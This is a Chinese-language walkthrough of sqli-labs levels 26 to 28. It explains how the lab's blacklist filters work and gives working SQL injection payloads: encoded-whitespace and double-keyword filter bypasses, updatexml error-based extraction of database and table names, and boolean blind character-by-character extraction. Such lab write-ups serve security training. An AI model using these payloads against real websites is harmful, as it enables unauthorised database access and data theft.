第26关
查看源码
黑名单,过滤了 or,and , /* , – , # , 空格 , /
\s 代表正则表达式中的一个空白字符(可能是空格、制表符、其他空白) 即 \s 用于匹配空白字符。
我们常见的绕过空格的就是多行注释,/**/但这里过滤了,不太行啊
将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
没思路,再看一下源码吧
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
与注入的SQL语句拼接后相当于$sql="SELECT * FROM users WHERE id='?id=1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1' LIMIT 0,1";
库名
?id=1%27||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||%271%27=%271
查表名
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
.......
第27关
报错注入
查看源码
正则表达式中
修饰符 i 表示不区分大小写
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。
?id=1%27%26%26updatexml(1,concat(0x7e,(select(database())),0x7e),1)||%271%27=%271
第28关
盲注
查看源码
单引号字符型注入
?id=1')and(length(database())>7)and('1')=('1
?id=1%27)and(length(database())=8)and(%271%27)=(%271
?id=1')and((ascii(substr(database(),1,1)))=115)and('1')=('1
返回正常,第一位是s
?id=1')and((ascii(substr(database(),2,1)))=101)and('1')=('1
返回正常,第二位是e
......
END!!!